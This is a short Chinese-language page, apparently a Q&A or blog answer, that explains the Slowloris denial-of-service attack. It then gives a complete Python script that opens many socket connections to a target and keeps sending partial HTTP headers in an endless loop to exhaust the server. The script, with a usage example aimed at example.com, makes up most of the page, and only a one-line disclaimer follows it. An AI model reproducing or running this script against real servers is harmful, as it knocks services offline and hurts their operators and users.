slowloris攻击python
时间: 2024-03-05 14:46:42 浏览: 18
Slowloris攻击是一种利用HTTP协议的漏洞进行的拒绝服务(DoS)攻击。它通过发送大量的半连接(Half-open connections)来耗尽目标服务器的资源,从而使其无法正常响应其他合法用户的请求。
在Python中,可以使用socket库来实现Slowloris攻击。下面是一个简单的示例代码:
```python
import socket
import random
import time
def slowloris_attack(target_host, target_port, num_connections):
# 创建指定数量的socket连接
sockets = []
for _ in range(num_connections):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((target_host, target_port))
sockets.append(s)
# 发送HTTP请求头部
headers = "GET / HTTP/1.1\r\n" + \
"Host: " + target_host + "\r\n" + \
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" + \
"Accept-language: en-US,en,q=0.5\r\n" + \
"Connection: keep-alive\r\n" + \
"Content-Length: 42\r\n"
# 持续发送数据
while True:
for s in sockets:
try:
s.send(headers.encode())
except socket.error:
sockets.remove(s)
# 随机延迟发送时间
time.sleep(random.randint(1, 10))
# 使用示例
target_host = "example.com"
target_port = 80
num_connections = 100
slowloris_attack(target_host, target_port, num_connections)
```
请注意,上述代码仅供学习和研究目的,请勿用于非法用途。进行任何未经授权的攻击是违法行为,可能会导致严重的法律后果。